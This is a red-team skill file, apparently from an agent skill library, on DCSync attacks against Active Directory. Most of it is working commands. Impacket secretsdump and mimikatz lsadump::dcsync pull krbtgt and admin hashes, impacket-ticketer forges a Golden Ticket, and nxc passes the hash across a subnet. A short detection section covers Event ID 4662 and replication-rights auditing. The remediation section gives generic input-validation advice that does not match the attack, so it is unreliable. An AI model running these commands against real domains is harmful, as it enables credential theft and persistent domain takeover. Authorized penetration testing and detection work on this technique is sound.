active-directory-dcsync-attack

name	active-directory-dcsync-attack
description	Execute a DCSync attack mimicking the behavior of a legitimate Active Directory Domain Controller (DC). Leverage Directory Replication Service Remote Protocol (DRSR) permissions to silently request and extract the password hashes (NTLM/Kerberos) of any or all users in the domain without executing code on the target Domain Controller.
domain	cybersecurity
subdomain	red-teaming
category	Credential Access
difficulty	expert
estimated_time	1-2 hours
mitre_attack	{"tactics":["TA0006"],"techniques":["T1003.006"]}
platforms	["windows"]
tags	["active-directory","dcsync","mimikatz","credential-dumping","red-teaming","krbtgt"]
tools	["mimikatz","impacket-secretsdump"]
version	1.0
author	CyberSkills-Elite
license	Apache-2.0

Active Directory DCSync Attack

When to Use

• When operating within a compromised Active Directory environment and you have acquired the credentials of a highly-privileged account (e.g., Domain Admin, Enterprise Admin, or a specific Service Account with Directory Replication rights).
• To extract the krbtgt account hash, which is absolutely mandatory for forging Golden Tickets subsequently establishing ultimate domain persistence.
• To perform a complete, stealthy domain credential dump without installing malware directly onto the Domain Controller or exporting the physical NTDS.dit database file.

Prerequisites

• Authorized scope and rules of engagement for the target environment
• Appropriate tools installed on the attack/analysis platform
• Understanding of the target technology stack and architecture
• Documentation template ready for findings and evidence capture

Workflow

Phase 1: Validating Prerequisites

# Concept: A standard domain user CANNOT execute a DCSync. The attacking account MUST possess 
# three highly specific Access Control Entries (ACEs) granted at the Domain Root level:
# 1. Replicating Directory Changes (DS-Replication-Get-Changes)
# 2. Replicating Directory Changes All (DS-Replication-Get-Changes-All)
# 3. Replicating Directory Changes In Filtered Set

# Default Groups possessing these rights natively:
# - Domain Controllers
# - Enterprise Admins
# - Domain Admins
# - Administrators

Phase 2: Remote DCSync via Impacket (Linux/Kali)

# Concept: You possess a Domain Administrator's NTLM hash or plaintext password. 
# You execute the attack remotely from your Kali machine over the network.

# 1. Target a specific high-value account (e.g., the krbtgt account)
impacket-secretsdump 'CORP/Administrator:Password123!'@10.0.0.5 -just-dc-user krbtgt

# 2. Extract the NTLM hash of a specific Domain Admin
impacket-secretsdump 'CORP/Administrator:Password123!'@10.0.0.5 -just-dc-user JamesP_Admin

# 3. Dump the entire Active Directory Database (Warning: Extremely Noisy)
impacket-secretsdump 'CORP/Administrator:Password123!'@10.0.0.5 -just-dc

Phase 3: Local DCSync via Mimikatz (Windows/Cobalt Strike)

# Concept: You are operating interactively on a compromised Windows workstation. 
# You inject a Domain Admin's token into memory and execute Mimikatz dynamically.

# 1. Execute Mimikatz
privilege::debug

# 2. Extract the krbtgt account explicitly
lsadump::dcsync /domain:corp.local /user:krbtgt

# 3. Output Example:
#   SAM Username       : krbtgt
#   User Principal Name: [e-mail]
#   Hash NTLM          : 1234567890abcdef1234567890abcdef
#   Hash AES256        : abcdef1234567890abcdef1234567890abcdef1234567890abcdef1234567890

# 4. Extracting the Directory Integration Services Account (Azure AD Connect)
# This account (`MSOL_xxxxxxxx`) holds immense privilege connecting the on-premise AD to Azure.
lsadump::dcsync /domain:corp.local /user:"MSOL_0a1b2c3d4e5f"

Phase 4: Applying DCSync Loot (The Escalation)

# Concept: The DCSync is purely an extraction technique. The true impact is how the 
# extracted cryptographic material is leveraged.

# Action 1: Golden Ticket Creation (Using the extracted krbtgt hash)
# Forges an unforgeable, 10-year active Kerberos Ticket Granting Ticket (TGT).
impacket-ticketer -nthash 1234567890abcdef1234567890abcdef -domain-sid S-1-5-21-XXX -domain corp.local Administrator

# Action 2: Pass-the-Hash (PTH)
# Utilize any extracted Administrator NTLM hash to uniformly move laterally across all servers unconditionally.
nxc smb 10.0.0.0/24 -u JamesP_Admin -H 9876543210fedcba9876543210fedcba --local-auth

Decision Point 🔀

flowchart TD
    A[Compromise Account] --> B[Check Account Group Memberships via `net user /domain`]
    B --> C{Is Account a Domain Admin?}
    C -->|Yes| D[Execute DCSync explicitly targeting `krbtgt`]
    C -->|No| E[Check specific ACEs utilizing BloodHound]
    E -->|Account has 'Replicating Directory Changes'| D
    E -->|Account lacks rights| F[DCSync impossible. Attempt alternative Privilege Escalation (Kerberoasting, BloodHound Paths)]
    D --> G[Extract `krbtgt` NTLM and AES256 hashes]
    G --> H[Forge Golden Ticket]
    H --> I[Establish 10-Year Invisible Active Directory Persistence]

🔵 Blue Team Detection & Defense

• Monitor Event ID 4662 (Directory Service Access): DCSync fundamentally relies on triggering specific Directory Replication Service (DRS) operations. Configure the Domain Controllers to audit object access. Generate immediate, high-priority SIEM alerts whenever Event ID 4662 triggers containing the specific Access Mask 0x100 coupled with the exact Properties: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 (Replicating Directory Changes) originating from an IP address that is NOT a verified, legitimate Domain Controller.
• Rigorously Protect Replication Privileges: Routinely audit Active Directory ACLs utilizing tooling like PingCastle or BloodHound. Ensure absolutely that the Replicating Directory Changes rights are restricted exclusively to the Domain Controllers and specifically authorized service groups (e.g., Microsoft Entra Connect service accounts). Never explicitly grant these rights to standard IT Helpdesk or human administrator accounts dynamically.
• Network Segmentation: Isolate Domain Controllers within a highly restricted Tier-0 VLAN. Filter network traversing traffic explicitly blocking RPC Endpoint Mapper (Port 135) and dynamically allocated RPC ports seamlessly connecting from the Tier-2 (Workstation) subnet to the Tier-0 Domain Controller subnet. DCSync natively requires robust RPC connectivity to function correctly.

Key Concepts

Concept	Description
DCSync	An attack methodology natively leveraging the exact built-in Windows APIs (MS-DRSR) utilized by legitimate Domain Controllers to synchronize Active Directory databases, coercing the DC to hand over password hashes seamlessly
krbtgt	The fundamental service account natively encrypting all Kerberos authentication tickets across the entire Active Directory domain natively. Possessing its hash inherently grants absolute cryptographic mastery over the domain unconditionally
MS-DRSR	The Microsoft Directory Replication Service Remote Protocol; a highly specialized RPC interface facilitating directory synchronization comprehensively

Output Format

Red Team Execution Protocol: Active Directory DCSync Password Extraction
========================================================================
Target Domain: `hq.corporate.com`
Vulnerability: Compromised Domain Admin Credentials
Severity: Critical (CVSS 10.0)

Description:
Following the successful compromise of the `Network_Admin_SVC` account (which erroneously retained membership within the elevated `Domain Admins` group), the Red Team possessed sufficient privileges inherently required to initiate Active Directory replication synchronization organically.

To strictly avoid deploying heuristic-triggering malware natively onto the Domain Controller (`10.0.0.10`), the attacker utilized Impacket's `secretsdump.py` module explicitly across the network natively leveraging the MS-DRSR protocol.

Targeted Execution:
```bash
impacket-secretsdump 'hq/Network_Admin_SVC:SvcPass99!'@10.0.0.10 -just-dc-user krbtgt

Result: The Domain Controller implicitly trusted the credential context replicating the requested cryptographic material without alerting baseline file-integrity monitors natively.

The krbtgt NTLM and AES256 hashes cleanly extracted: Hash NTLM: 8846f...[REDACTED]...912a

Impact: The adversary natively established comprehensive Golden Ticket generation capability dynamically ensuring uninhibited, invisible administrative access seamlessly surviving standard password resets unequivocally.

## 🛡️ Remediation & Mitigation Strategy
- **Input Validation:** Sanitize and strictly type-check all inputs.
- **Least Privilege:** Constrain component execution bounds.


## 📚 Shared Resources
> For cross-cutting methodology applicable to all vulnerability classes, see:
> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class

## References
- Impacket: [secretsdump.py](https://github.com/fortra/impacket/blob/master/examples/secretsdump.py)
- Mitre ATT&CK: [Credential Dumping: DCSync](https://attack.mitre.org/techniques/T1003/006/)
- ADSecurity (Sean Metcalf): [Mimikatz DCSync Usage](https://adsecurity.org/?p=1729)